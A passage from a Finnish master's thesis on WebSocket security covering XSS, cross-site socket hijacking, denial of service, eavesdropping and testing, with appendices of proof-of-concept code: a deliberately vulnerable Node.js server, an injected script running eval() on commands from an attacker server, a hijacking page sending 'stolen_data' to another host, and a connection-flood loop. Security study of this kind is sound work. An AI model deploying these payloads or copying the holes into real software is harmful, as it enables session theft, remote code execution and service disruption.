Haitallisesta komentosarjakoodista voidaan myös avata websocket-yhteyden hyökkääjän hallitsemalle palvelimelle. Hyökkääjän palvelin on asetettava vastaanottamaan yhteyksiä siitä isännästä, johon komentosarjakoodi on injektoitu. Tämä onnistuu asettamalla websocket-kättelyn paluuviestiin esimerkiksi HTTP-otsake Accept-Origin arvolla ”*”. Cross-site scripting -haavoittuvuuden estämiseksi ei riitä pelkästään syötteen tarkastaminen asiakkaan päässä, vaan myös palvelimen on tarkastettava kaikki syötteet.

5.4. Cross-site request forgery/websocketin kaappaaminen

XSS-haavoittuvuuteen rinnastettava verkkosivuhaavoittuvuus on Cross-Site request forgery, lyhennettynä CSRF. Se mahdollistaa uhrin selaimesta lähetettävän HTTP-pyyntöön luotettuun isäntään luottamattomasta kontekstista, jolloin hyökkääjä voi saada aikaan ei-toivottuja operaatioita palvelussa, johon käyttäjä on kirjautunut. Cross-site scripting -haavoittuvuuden rinnalla cross-site request forgery -haavoittuvuuksien hyväksikäyttö on yleisimpiä verkkohyökkäyksiä [Maes *et al.*, 2009].

CSRF-haavoittuvuuden hyväksikäytössä hyödynnetään palvelimen luottamusta tunnistettuun käyttäjään ja selaimen. Cross-site scripting -haavoittuvuus puolestaan perustuu luotetun isännän hyväksikäyttöön. CSRF-hyväksikäyttö tapahtuu siten, että käyttäjä huijataan avaamaan haitallisen komentosarjakoodin sisältämä sivu. Sivulta tehdään HTTP-pyyntö luotettuun palvelimeen, jolloin selain automaattisesti lähettää evästeet ja niiden sisältämät tunnistetiedot.

Cross-site request forgery -haavoittuvuuden ja sen hyväksikäytön estämiseksi on kehitetty useita menetelmiä [Czeskis and Moshchuk; Maes *et al.*, 2009; Barth *et al.*, 2008]. Sama-lähde -periaate liittyy läheisesti CSRF haavoittuvuuteen estämiseen. Selain voi estää CSRF-pyyntöä, koska pyynnön tekevä konteksti, eli komentosarjakoodin lähteen isäntä ei ole sama kuin pyynnön kohteen isäntä. Palvelin voi myös estää pyynnön ellei siinä eksplisiittisesti sallita kutsua tietystä isännästä HTTP-otsakkeella Allow-Origin. Cross-site request forgery -haavoittuvuuden hyväksikäytössä pyyntö lähetetään tunnistamattomasta isännästä, jolloin pyyntö voidaan hylätä.

Websocket yhteys voidaan kaapata cross-site request forgery -tyylisesti ulkopuoliselta sivustolta. Tällaisesta hyökkäyksestä voidaan käyttää nimitystä websocketin kaappaaminen. Käyttäjä voidaan esimerkiksi huijata avaamaan selaimella hyökkääjän kontrolloima sivusto, josta avataan websocket-yhteys palveluun, johon käyttäjä on jo kirjautunut sisään. Tässä tilanteessa tunnistetiedot lähetetään websocket-kättelyssä palvelimelle, joka hyväksyy yhteyden jos yhteyden kontekstin lähde ei tarkasteta. Yhteyden avaus onnistuu uhrin huomaamatta.

```

GET /example HTTP/1.1
Host: www.esimerkki.com
Origin: www.hyokkaaja.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: ...
Cookie: ...

```

Listaus 9. Cross-site websocket hijack kättelypyyntö

Websocket-yhteyden kaappaamisella hyökkääjä pääsee hallitsemaan websocket-yhteyttä. Tavallisesta CSRF-hyökkäyksestä poiketen tässä tapauksessa hyökkääjä saa täyden kirjoitus- ja lukuoikeuden palveluun. Tietoliikenteen kryptaaminen ei suojaa tässä skenaariossa millään tavalla, sillä kaapattu yhteys luodaan luotetun TLS-tason yli.

Kaappaamiselta voidaan suojautua ensinnäkin huolehtimalla CSRF-haavoittuvuuden poistamisesta aiemmin esitetyillä tavoilla ja tarkastamalla kättelypyynnön Origin-otsake kättelyn ja käyttäjän tunnistautumisen yhteydessä. Lisäksi kohdassa 5.2 esitetty tunnisteavaimeen perustuva käyttäjätunnistaminen on toimiva keino estää websocket-yhteyden kaappaamisen.

5.5. Palvelunestohyökkäys

Palvelunestohyökkäyksessä (engl. denial of service) pyritään haittaamaan tai kokonaan pysäyttämään jonkin palvelun normaali toiminta esimerkiksi tukehduttamalla se suurella viestiliikenteen määrällä. Viime vuosina palvelunestohyökkäyksiä on tehtailtu suuren profiilin palveluita vastaan, esimerkiksi pankkien verkkopalveluihin. Yleensä palvelunestohyökkäyksessä käytetään tarkoitukseen kehitettyä ohjelmaa eikä hyökkäykseen käytetä selainpohjaisia teknologioita.

Palvelunestohyökkäys voidaan kohdistaa eri protokollatasoille. Eräs yleisimmistä muodoista kohdistetaan TCP:n kättelyprosessiin. TCP-kättelyssä asiakas lähettää niin sanotun SYN-viestin, johon palvelin vastaa SYN-ACK-viestillä. Asiakkaan tulee vastata SYN-ACK-viestiin ACK-viestillä. Palvelin jää odottamaan SYN-ACK-viestin lähettämisen jälkeen asiakkaan varmistusta tietyksi ajaksi. SYN-tulvaksi (engl. SYN flood) kutsuttu palvelunestohyökkäys pommittaa palvelinta useilla SYN-viesteillä, mutta ei koskaan lähetä ACK-viestiä. Palvelin jää odottamaan viestejä, joita ei koskaan saavu.

Alemman tason protokoliin kohdistuviin palvelunestohyökkäyksien torjumiseen on kehitetty suodatusmenetelmiä, joilla pyritään hylkäämään hyökkäyksen lähettämät viestit. Sovellustasolla tehtäville hyökkäyksille tilanne on vaikeampi, sillä oikeita pyyntöjä on vaikeampi erottaa hyökkäyksestä [Srivatsa *et al.*, 2008].

SYN-tulvan kaltainen palvelunestohyökkäys toteutetaan yleensä tarkoitusta varten kehitetyllä ohjelmalla. Palvelunestohyökkäys usein toteutetaan hajautettuna (Distributed Denial of Service), jotta hyökkäyksen vaikutus olisi suurempi kuin yksittäisen toimijan tekemänä. Hyökkäyksen

toteuttava ohjelma voidaan levittää uhrien tietokoneelle heidän tietämättä haittaohjelmana tai joissakin tapauksissa henkilöt tietoisesti suorittavat hyökkäyksen.

Websocket-protokollalla voidaan avata käytännössä rajaamaton määrä yhteyksiä yhdelle palvelimelle, joten protokollaa voidaan periaatteessa hyödyntää selaimesta tehtävään palvelunestohyökkäykseen. Websocket-protokollamääritelmä ei anna rajoitteita yhteyksien lukumäärään ja nykyisellään useimmilla selaimilla voidaan avata jopa satoja websocket-yhteyksiä samaan isäntään. Hajautettuna esimerkiksi XSS-injektiona suosittuun sivustoon websocket-pohjaisen palvelunestohyökkäyksen toteuttava komentosarjakoodi voisi halvaannuttaa kohteena olevan palvelun.

Periaatteessa kaksisuuntaisella websocket-protokollalla voidaan toteuttaa käännetty palvelunestohyökkäys, jossa palvelin lähettää suuren määrä viestejä asiakasohjelmaan. Hyökkäyksen uhrin selaimesta voidaan avata hyökkäyksen aloittava websocket-yhteys hyökkääjän palvelimelle aiemmin esitettyjen haavoittuvuuksien kautta. Käytännössä tällainen hyökkäys saattaisi saada aikaan käyttäjän selaimen kaatumisen.

5.6. Tiedon salakuuntelu

Internetissä liikkuvaa tietoa on mahdollista päätyä välikäsien haltuun ilman, että tiedon lähettäjä tai vastaanotta huomaamista. Tiedon salakuuntelu (engl. man in the middle) kohdistetaan verkkoinfrastruktuuriin. Hyökkäyksen tavoite on saada haltuun hyökkääjälle kuulumatonta tietoa. Tietoliikenteen kryptaamisella voidaan estää välikäsiä lukemasta viestien sisältöä. Hyökkääjää siis pystyy lukemaan viestit, mutta ilman kryptausavainta sisältö on lukukelvoton.

Georgiev ja muut [2012] tutkivat useita suosittuja ja laajasti käytettyjä TLS/SSL-tason toteuttavia avoimia kirjastoja. He raportoivat vakavista puutteista kirjastojen toteutuksessa. Gajek ja muut [2008] puolestaan osoittavat, että TLS/SSL-salaus teoreettisesti takaa varman suojauksen arkaluontoiselle tiedolle. Keväällä 2014 suositussa OpenSSL-kirjastossa, jota myös Georgiev ja muut olivat tutkineet, ilmeni vakava tietoturva-aukko. Ohjelmointivirhe kirjastossa mahdollisti hyökkääjän lukea palvelimen muistia.

Websocket-protokollamääritelmään kuuluva salattu muoto luo yhteyden TLS-tason yli, jolloin liikenne salataan. Kuten on esitetty, TLS-salaus estää välikäsiä lukemasta tietoa, mutta TLS-tason toteutukseen on kiinnitettävä huomiota.

Websocket-protokollamääritelmän mukaan asiakkaan lähettämä viestit naamioidaan, jolloin viestien sisältö ei ole selkomuodossa. Asiakkaan lähettämien viestien naamioinnilla ei kuitenkaan voida estää tiedon salakuuntelua, sillä naamiointialgoritmin määritelmä on osa avointa protokollamääritelmää ja naamiointia vain kulkee viestin mukana. Naamiointia ei olekaan tarkoitettu tiedon salaamiseen vaan välityspalvelinten suojaamiseen, kuten aiemmin esitettiin.

5.7. Komentoriviyhteys websocket-teknologialla

Kuten aiemmissa kohdissa on esitetty, websocket-yhteys voidaan saada hyökkääjän haltuun usealla tavalla käyttäen hyväksi valitettavan usein verkkosovelluksissa esiintyviä haavoittuvuuksia. Näin tapahtuessa käyttäjän yksityinen tieto voi päätyä hyökkääjän haltuun tai hyökkääjä voi esiintyä uhrina verkkopalveluissa. Websocket-yhteyden hallinnalla voidaan myös saada aikaan tilanne, jossa hyökkääjä voi suorittaa mielivaltaisesti JavaScript-komentoja uhrin selaimessa käytännössä reaaliajassa. Hyökkäyksestä käytetään nimitystä websocket-komentorivi.

Websocket-komentorivi voidaan toteuttaa hyväksi käyttämällä esimerkiksi Cross-site scripting -haavoittuvuutta. Hyökkääjä injektoidaan yksinkertaisen komentosarjakoodin johonkin luotettuun palveluun, josta komentosarjakoodi leviää uhrin selaimen. Komentosarjakoodilla avataan yhteys hyökkääjän palvelimeen. Hyökkääjä voi asettaa palvelimen ottamaan vastaan yhteyksiä mistä tahansa kontekstista. Tämän lisäksi haitallinen komentosarjakoodi käyttää hyväksi JavaScript-rajapinnan funktiota eval(). Funktio ottaa parametrina minkä tahansa mielivaltaisen merkkijonon, joka tulkitaan suoritettavaksi JavaScript-koodiksi.

```
var homeSocket = WebSocket("ws://hyokkaaaja.org");

homeSocket.onmessage = function(event) {
    eval(event.data);
};
```

Lista 10. Websocket-komentorivi koodiesimerkki.

Tällaisella yhteydellä hyökkääjä saa huomattavasti kyvykkäämmän yhteyden uhrin selaimen. Websocket-komentorivin kautta hyökkääjä voi käynnistää muita hyökkäyksiä. Websocket-komentorivi saadaan aikaan hyväksi käyttämällä Cross-site scripting -haavoittuvuutta.

5.8. Testaamisesta

Tärkeä osa ohjelmistokehitystä on kattava testaaminen, jolla varmistamaan ohjelmiston laatu ja pyritään osoittamaan ohjelman toiminnan oikeellisuus eli, että ohjelma toimii sen määritelmän mukaisella tavalla. Yleisesti testaamisella pyritään paljastamaan ohjelmasta virheitä, mutta etenkin verkkosovelluksien testaamisella yritetään myös löytää tietoturva- haavoittuvuuksia ennen sovelluksen julkaisemista. Verkkosovellusten tietoturvatestaamisen on kehitetty ja tutkittu erilaisia heuristiikkoja ja niiden testaamisen tekee haastavaksi se, että sovellukset koostuvat erillisistä käyttöliittymä- ja palvelinsovelluksista. Lisäksi verkkokäyttöliittymät rakentuvat useista ohjelmointitekniikoista: esitystasosta (useimmiten HTML ja CSS), toiminnallisuustasosta (komentosarjakielit kuten JavaScript) ja yhteystasosta- ja protokollista (HTTP, AJAX, websocket).

Jokaiselle tasolle on useita valittavia teknologioita, ja verkkosovellusten kehitystekniikoiden kirjoituskin tulee tulevaisuudessa kaventumaan.

Ohjelmistotestaaminen voidaan jakaa black box ja white box -testaukseen. Black box -testauksessa sovellusta käsitellään monoliittisena kokonaisuutena. White box -testauksessa päästään käsiksi ohjelmanlähdekoodiin, eli sen algoritmeihin ja tietorakenteisiin. Tripp ja muut [2013] raportoivat Web Application Security Consortiumin kartoituksen hälyttävistä löydöksistä uusimpien tietoturvatratkaisujen kyvyssä havaita tietoturva-aukkoja. He esittelevät parannetun ratkaisun black box -testaamiseen, joka on koneoppimiseen perustuvan lähestymistavan verkkosovellusten turvallisuustestaamiseen. Wassermanin ja Sun [2008] esittämä staattinen testausmenetelmä on yksi tapa tuoda esiin tietoturvaongelmia, mutta kuten Shahriah ja Zulkerine [2009] osoittavat, pelkkä staattinen testaus ei yksistään ole riittävä.

Li ja muut [2014] ovat perehtyneet edellisten vuosikymmenten aikana kehitettyihin testausheuristiikkoihin ja he kokoavat tutkimuksessaan yhteen useita erilaisia menetelmiä vertaillen niitä keskenään. He ryhmittelevät testausheuristiikat kahdeksaan ryhmään, jotka eroavat toisistaan syötteen, tulosten ja lopetusehtojen perusteella. Ryhmät ovat:

1. Tietomalliin ja graafiin perustuva testaus (engl. model and graph based testing)
2. Mutaatiotestaus (engl. mutation testing)
3. Etsintäperustainen testaus (engl. search-based testing)
4. Kartoitukseen ja indeksointiin perustuva testaus (engl. scanning and crawling)
5. Satunnaistestaus (engl. random testing)
6. Sumeatestaus (engl. fuzz testing)
7. Konkreettis-symbolinen testaus (engl. concolic testing)
8. Käyttäjäistunto pohjainen testaus (engl. user-session based testing).

Tietomalliin ja graafiin perustuvassa testausheuristiikassa sovelluksesta rakennetaan sananmukaisesti malli, jonka pohjalta testitapaukset rakennetaan. Malli kuvataan äärellisenä tilakoneena. Mutaatiotestauksessa sovelluksen lähdekoodiin tuodaan satunnaisia muutoksia eli mutaatioita ja tutkitaan, havaitsevatko testitapaukset mutaatioita. Mutaatiotestaus pystyy löytämään yleisimmät ja harvinaisimmat virheet ohjelmasta. Etsintäperustaisessa testauksessa pyritään kattamaan ohjelman kaikkien haarojen testaus systemaattisesti. Kartoitukseen ja indeksointiin perustuvalla testauksella sovellukselle annetaan haitallista ohjelmakoodia sisältäviä syötteitä, minkä seurauksena mahdollisesti tapahtuvia muutoksia tarkkaillaan. Satunnais- ja sumeatestauksessa ohjelmalle annetaan satunnaissyötteitä tai raja-arvosyötteitä ja ohjelman käyttäytymistä tarkastellaan näiden yhteydessä. Konkreettis-symbolisessa testauksessa satunnaissyötteillä pyritään havaitsemaan ennaltaodottamattomia ohjelman suorituksen haarautumia. Käyttäjäistuntotestauksessa tallennetaan käyttäjän antamat syötteet ja tutkitaan ohjelman käyttäytymistä niiden yhteydessä.

Li ja muut toteavat, että yksikään yksittäinen heuristiikka ei pysty tyhjentävästi todentamaan verkkosovelluksen virheettömyyttä. Toiset heuristiikat, kuten mutaatiotestaus, kartoitukseen ja indeksointiin perustuva testaus ja sumeatestaus ovat parempia virheiden löytämiseen ohjelmasta, kun taas toiset ovat tehokkaampia osoittamaan, onko sovellus testattu kattavasti.

Wassermanin ja Sun esittelemä mutaatioihin perustuva testiheuristiikka on hyvin samankaltainen kuin Lin ja muiden ryhmityksen mutaatiotestaus. Kuten Wasserman ja Su osoittavat, mutaatiotestauksella mahdollistetaan XSS-haavoittuvuuksien paljastuminen.

Testaamisella ei koskaan voida osoittaa, että sovellus on täysin puhdas haavoittuvuuksista. Tämä vaatisi kaikkien mahdollisten syötteiden läpikäymistä, mikä ei ole millään tavalla realistista [Li *et al.*, 2014; Stamm *et al.*, 2010]. Pelkästään haavoittuvuuksien olemassaolo voidaan osoittaa testaamisella ja siten niihin on mahdollista reagoida ennen sovelluksen julkaisemista. Ohjelmistojen kehittäminen tapahtuu nykyisin enimmäkseen ketterillä menetelmillä. Jatkuva tietoturvan testaaminen on elintärkeä osa etenkin kriittisten sovellusten kohdalla.

6. Loppupäätelmät

Avoimen websocket-protokollan ominaisuudet tuovat paljon mahdollisuuksia verkkosovelluskehittäjille, joten se varmasti tulee yleistymään tulevaisuudessa. Uuden teknologian kanssa on kuitenkin syytä kiinnittää erityistä huomiota tietoturvaan. Tässä tutkielmassa esitetyt tietoturvaluuseikat on syytä ottaa huomioon websocket-protokollaa käyttävän verkkosovelluksen kehittämisessä.

Käsite hakkerointi (engl. hacking) liittyy läheisesti etenkin verkkosovellusten tietoturvaan. Hakkerointi itsessään on eettisesti neutraali termi ja sillä tarkoitetaan yksinkertaisesti sitä, että jokin ohjelma saadaan toimimaan tai käyttäytymään tavalla, jolla sen alkuperäiset kehittäjät eivät ole tarkoittaneet ohjelmaa käytettävän. Hakkerointi ei siis lähtökohtaisesti tarkoita paha-aikkeista toimintaa. Eettisellä hakkeroinnilla yleensä etsitään haavoittuvuuksia olemassa olevista järjestelmistä hyväksikäyttötapausten ehkäisemiseksi. Tässä tutkielmassa ja sen liitteessä esitetyt haavoittuvuudet ja niiden hyväksikäyttötapaukset ovat pelkästään havainnointitarkoitukseen. Kirjoittaja ei missään nimessä kehota ketään käyttämään esitettyjä menetelmiä hyökkäyksissä verkkopalveluja vastaan.

Eräs mielenkiintoinen tutkimuskohde, jota tässä tutkielmassa ei käsitelty, on websocket-protokolla TOR-verkossa (The Onion Routing). TOR-protokolla takaa (lähes) täydellisen anonymiteetin verkossa liikkujalle ja se on tällä hetkellä perustavanlaatuinen protokolla useilla Internetin sovelluksilla. TOR-protokollan tuoma nimettömyys perustuu useiden välityspalvelimien kautta piilotettuihin pyyntöihin.

Tässä tutkielmassa analysoitiin pääasiassa selainhaavoittuvuuksiin liittyviä tietoturva-aukkoja. Websocket-protokollan palvelinpään tietoturvaa tulisi myös tarkastella erityisen huolellisesti erillisessä tutkimuksessa. Palvelinsovelluskehityksiä on valtava määrä ja niistä olisi syytä tehdä kartoitus kuinka hyvin protokollamääritelmää noudatetaan. Websocket-protokolla todennäköisesti tulee vielä elämään ja saattaa etäännyä HTTP-protokollasta, jolloin sen tietoturvaominaisuuksia tulee tarkastella uudelleen.

Viiteluettelo

- [Adida, 2007] Ben Adida, BeamAuth: Two-Factor Web Authentication with a Bookmark, In: *Proc. of the 14th ACM Conference on Computer and Communications Security (CCS'07)*, 2007, 48-57.
- [Akhawe *et al.*, 2010] Devdatta Akhawe, Adam Barth, Peifung E. Lam, John Mitchell and Dawn Song, Towards a Formal Foundation of Web Security, In: *Proc. of the 2010 23rd IEEE Computer Security Foundations Symposium (CSF'10)*, 2010, 290-304.
- [Barth *et al.*, 2008] Adam Barth, Colin Jackson and John C. Mitchell, Robust Defences for Cross-Site Request Forgery, In: *Proc. of the 15th ACM conference on Computer and Communications Security (CCS'08)*, 2008, 75-88.
- [Bielova, 2013] Nataliia Bielova, Survey on JavaScript security policies and their enforcement mechanism in a web browser, *The Journal of Logic and Algebraic Programming* **82**, 8 (November 2013), 243-262.
- [Bonneau *et al.*, 2012] Joseph Boneau, Cormac Herley, Paul C. Van Oorschot and Frank Stajano, The Quest to replace Passwprds: A Framework for Comparative Evaluation of Web Authentication Schemes, In: *Proc. of the 2012 IEEE Symposium on Security and Privacy (SP'12)*, 2012, 553-567.
- [Cassetti, 2011] Oscar Cassetti, Websockets and their Integration in Enterprise networks. Draft, March 2011. Also available as <https://www.scss.tcd.ie/~casseto/websockets-firewall-proxies.pdf>
- [Chen and Xu, 2011] Bijin Chen and Zhiqi Xu, A Framework for Browser-based Multiplayer Online Games using WebGL and WebSockets, In: *Proc. of 2011 International Conference on Multimedia Technology (ICMT)*, 26-28 July 2011, 472-474.
- [Czeskis and Moshchuk, 2013] Alexei Czeskis and Alexander Moshchuk, Lightweight Server Support for Browser-Based CSRF protection, 2013.
- [Fernandez and Navón, 2010] Federico Fernandez and Jaime Navón, Towards a Practical Model to Facilitate Reasoning about REST Extensions and Reuse, In: *Proc. of the First International Workshop on RESTful Design (WS-REST'10)*, April 26 2010, 31-38.
- [Gajek *et al.*, 2008] Sebastian Gajek, Mark Manulis, Olivier Pereira, Ahmad-Reza Sadeghi and Jorg Schwenk, Universally Composable Security Analysis TLS-Secure Session with Handshake and Record Layer Protocols, In: *Proc. of Cryptology ePrint Archive (ICAR)*, 2008.
- [Georkiev *et al.*, 2012] Martin Georgiev, Subodh Iyengar and Suman Jana, The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software, In: *Proc. of the 2012 ACM Conference on Computer and Communications Security (CCS'12)*, 2012, 38-49.

- [Jie *et al.*, 2007] Yang Jie, Liao Zhong-wei and Liu Fang, The impact of AJAX on network performance, *The Journal of China Universities of Posts and Telecommunications* **14**, (October 2007), 32-34.
- [Kapetanakis *et al.*, 2013] Kostas Kapetanakis, Spyros Panagiotakis and Athanasios G. Malamos, HTML5 and WebSockets; Challenges in Network 3D Collaboration, In: *Proc. of the 17th Panhellenic Conference on Informatics (PCI'13)*, 2013, 33-38.
- [Kirda *et al.*, 2006] Engin Kirda, Christopher Kruegel, Giovanni Vinga and Nenand Jovanovic, Noxes: A Client-Side Solution for Mitigating Cross-Site Scripting Attacks, In: *Proc. of the 2006 ACM Symposium on Applied Computing (SAC'06)*, 2006, 330-337.
- [Kontaxis and Antoniadis, 2011] Georgios Kontaxis and Demetris Antoniadis, An Empirical Study on the Security of Cross-Domain Policies in Rich Internet Applications, In: *Proc. of the Fourth European Workshop on System Security (EUROSEC'11)*, 2011, No. 7.
- [Kulshrestha, 2013] Achin Kulshrestha, An empirical study of HTML5 websockets and their cross browser behaviour for mixed content and untrusted certificates, *International Journal of Computer Applications* **82**, (November 2013), 14-18.
- [Lewis and Lunsford, 2010] Joshua Lewis and Phil Lunsford, TLS Man-in-the-Middle Laboratory Exercise for Network Security Education, In: *Proc. of the 2010 ACM Conference on Information Technology Education (SIGITE'10)*, 2010, 117-120.
- [Li *et al.*, 2014] Yuan-Fang Li, Paramjit K. Das and David L. Dowe, Two decades of web application testing – a survey of recent advances, *Information Systems* **43**, (July 2014), 20-54.
- [Lomotey *et al.*, 2012] Richard Lomotey, Rahnema Kazi and Ralph Deters, Near Real-time Medical Data Dissemination in m-Health, In: *Proc. of the International Conference on Management of Emergent Digital EcoSystems (MEDES'12)*, October 28-31 2012, 67-74.
- [Maes *et al.*, 2009] Wim Maes, Thomas Heyman, Lieven Desmet, Wouter Joosen, Browser Protection against Cross-Site Request Forgery, In: *Proc. of the first ACM workshop on Secure execution of untrusted code (SecuCode'09)*, 2009, 3-10.
- [Marion and Jomier, 2012] Charles Marion and Julien Jomier, Real-time collaborative scientific WebGL visualisation through Websockets, In: *Proc of 17th International Conference on 3D Web Technology (Web3D'12)*, 2012, 47-50.
- [Nakajima *et al.*, 2013] Hirohito Nakajima, Masao Isshiki and Yoshiyasu Takefuji, WebSocket Proxy System for Mobile Devices, In: *Proc. of IEEE 2nd Global Conference on Consumer Electronics (GCCE'13)*, 2013, 315-317.
- [Pimentel and Nickerson, 2012] Victoria Pimentel and Brandford G. Nickerson, Communicating and displaying real-time data with websocket, *Internet Computing* **16**, 4 (Jul-Aug 2012), 45-53.

- [Rakhunde, 2014] Shruti M. Rakhunde, Real Time Data Communication over Full Duplex Network Using Websocket, In: *Proc. of International Conference on Advances in Engineering & Technolog (ICAET'14)*, 2014, 15-19.
- [Ritchie, 2007] Paul Ritchie, The security risks of AJAX/web 2.0 applications, *Network Security*, **2007**, 3 (March 2007), 4-8.
- [Shahriah and Zulkerine, 2009] Hossain Sharhiah and Mohammad Zulkerine, MUTEK: Mutation based Testing of Cross Site Scripting, In: *Proc. of Workshop on Software Engineering for Secure Systems (SESS '09)*, May 2009, 47-53.
- [Srivatsa *et al.*, 2008] Mudhakar Srivatsa, Arun Iyengar and Jian Yin, Mitigating application-level denial of service attacks on web servers: a client-transparent approach, *Transactions on the Web* **2**, 3 (July 2008), No. 15.
- [Stamm *et al.*, 2010] Sid Stamm, Brandon Sterne and Gervase Markham, Reining in the Web with Content Security Policy, In: *Proc. of the 19th International Conference on World Wide Web (WWW'10)*, 2010, 921-930.
- [Stevens, 2011] W. Richard Stevens, *TCP/IP Illustrated 2nd Edition*, Addison-Wesley, 2011.
- [Tripp *et al.*, 2013] Omer Tripp, Omri Weisman and Lotem Guy, Finding Your Way in the Testing Jungle: A Learning Approach to Web Security Testing. In: *Proc. of International Symposium on Software Testing and Analysis (ISSTA'13)*, July 15-20 2013, 347-357 .
- [Wang *et al.*, 2013] Vanessa Wang, Frank Salim and Peter Moskovits, *The Definitive Guide to HTML5 WebSocket 1st Edition*, Apress, 2013.
- [Wasserman and Su, 2008] Gary Wasserman and Zhendong Su, Static Detection of Cross-Site Scripting Vulnerabilities, In: *Proc. of the 30th International Conference on Software engineering (ICSE'08)*, 2008, 171-180.
- [Ying and Miller, 2013] Ming Ying and James Miller, Refactoring legacy AJAX applications to improve the efficiency of the data exchange component, *Journal of Systems and Software* **86**, 1(January 2013), 72-88.
- [Zhu *et al.*, 2012] Guolei Zhu, Fang Zhang, Wei Zhu, Yayu Zheng, HTML5 Based Media Player for Real-Time Video Surveillance, In: *Proc. of 5th International Conference on Image and Signal Processing (CISP)*, 16-18 Oct. 2012, 245-248.
- [Zhang, 2012] Hongwen Zhang, Preparing for HTML5 capabilities and threats, *ISACA Journal* **6**, 2012.

Liite 1. Koodiesimerkki haavoittuvasta websocketpalvelimesta

```

// Spring 2014
// Websocket security analysis
// Part of masters thesis by Tomi Fagerlund

// Unsecure Websocket server

var http = require('http');
var url = require('url');
var fs = require('fs');
var io = require('socket.io');
var handlebars = require('handlebars')
var port = 8001;

var server = http.createServer(function(request, response) {

  var path = url.parse(request.url).pathname;
  var query = url.parse(request.url).query;

  switch (path) {
    case '/':
      response.writeHead(200, {'Content-Type': 'text/html'});
      response.write('This is unsecured example of websocket server');
      response.end();
      break;

    case '/socket.html':
      fs.readFile(__dirname + path, {'encoding': 'utf-8'}, function(error,
data) {
        if (error) {
          response.writeHead(404);
          response.write('Resource was not found');
          response.end();
        } else {
          var template = handlebars.compile(data);
          var msg = "";
          if (query !== null) {
            // XSS vulnerability if query is not sanitised properly.
            msg = query;
          } else {
            msg = "";
          }

          var html = template({message: msg});
          response.writeHead("Access-Control-Allow-Origin: *");
          response.writeHead(200, {'Content-Type': 'text/html'});
          response.write(html, 'utf8');
          response.end();
        }
      });
      break;

    default:
      response.writeHead(404);

```

```
        response.write('NOT FOUND');
        response.end();
        break;
    }
});

server.listen(port);
console.log('Server created. Listening port ' + port);

var ws = io.listen(server);
ws.set('log level', 1);

ws.set('authorization', function(handshake, callback) {
    // Handshakes origin header should be checked here.
    callback(null, true);
});

ws.on('connection', function(socket) {
    console.log("New websocket connection");
    console.log(socket.handshake)

    setInterval(function() {
        socket.emit('date', {'date': new Date()});
    }, 1000);

    socket.on('client_data', function(data) {
        process.stdout.write(data.letter);
    });
});
```

Liite 2. Koodiesimerkki haavoittuvasta verkkosivusta

```
<html>
<head>
  <script src="/socket.io/socket.io.js"></script>
  <script
src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.js"></script>
  <title></title>
</head>
<body>
  <script type="text/javascript">
    var socket = io.connect();
    socket.on('date', function(data) {
      $('#date').text(data.date);
    });

    $(document).ready(function() {
      $('#text').keypress(function(e) {
        socket.emit('client_data', {'letter':
String.fromCharCode(e.charCode)});
      });
    });
  </script>

  <div>
    <h1>Socket.html</h1>
  </div>
  <textarea id="text"></textarea>
  <div>
    <!-- script is injected here -->
    {{{message}}}
  </div>
  <div id="date"></div>
</body>
</html>
```

Liite 3. Cross-site scripting komentisarjakoodi

```
// This script could be injected as XSS

var homeSocket = io.connect("ws://localhost:8002");

// Websocket shell access using JavaScripts eval() function.
homeSocket.on('exec', function(data) {
    eval(data);
});

// Override original socket
socket.on('date', function(data) {
    $('#date').text(data.date);
    homeSocket.emit('stolen_data', {'date': data.date});
});
```

Liite 4. Hyökkääjän websocket-palvelin

```
// Spring 2014
// WebSocket security analysis
// Part of masters thesis by Tomi Fagerlund

// Attackers server that is used in websocket exploitations.

var http = require('http');
var url = require('url');
var fs = require('fs');
var io = require('socket.io');

var port = 8002;

var server = http.createServer(function(request, response) {
  var path = url.parse(request.url).pathname;
  switch (path) {
    case '/xss.js':
      fs.readFile(__dirname + "/xss.js", function(error, data) {
        if (error) {
          response.writeHead(404);
          response.write('Not found');
          response.end();
        } else {
          response.writeHead(200, {'Content-Type': 'text/javascript'});
          response.write(data, 'utf8');
          response.end();
        }
      });
      break;

    case '/evil.html':
      fs.readFile(__dirname + path, function(error, data) {
        if (error) {
          response.writeHead(404);
          response.write('Not found');
          response.end();
        } else {
          response.writeHead(200, {'Content-Type': 'text/html'});
          response.write(data, 'utf8');
          response.end();
        }
      });
      break;

    default:
      response.writeHead(404);
      response.write('NOT FOUND');
      response.end();
      break;
  }
});
```

```
server.listen(port);
console.log('Evil Server created. Listening port ' + port);

var ws = io.listen(server);
ws.set('log level', 1);
ws.on('connection', function(socket) {

    console.log("New connection");
    socket.emit('exec', "alert(\"Seriously hacked\")");

    // Sensitive data is acquired.
    socket.on('stolen_data', function(data) {
        console.log(data);
    });
});
```

Liite 5. Hyökkääjän verkkosivu

```

<html>
<head>
  <script src="/socket.io/socket.io.js"></script>
  <script
src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.js"></script>
  <title></title>
</head>
<body>
  <script type="text/javascript">

    // Connection to server is hijacked and all authorization data is sent as
well
    // Authentication succeeds because cookies etc. are sent to server with
handshake
    // The server should check Origin header

    var victimUrl = "ws://localhost:8001";
    var homeUrl = "ws://localhost:8002";

    var hijackedSocket = io.connect(victimUrl);
    var homeSocket = io.connect(homeUrl);

    hijackedSocket.on('date', function(data) {
      $('#date').text(data.date);
      // Sensitive data could be sent to some other server
      homeSocket.emit('stolen_data', {'date': data.date});
    });

    // This DoS-script could also be injected in XSS.
    $(document).ready(function() {
      $('#dos-button').on('click', function() {
        for (var i = 0; i < 1000; i++) {
          io.connect(victimUrl, {'force new connection': true});
        }
      });
    });
  </script>

  <div>
    <h1>This site is evil. You shouldn't come here</h1>
  </div>
  <div id="date"></div>
  <button id="dos-button">Start denial of service</button>
</body>
</html>

```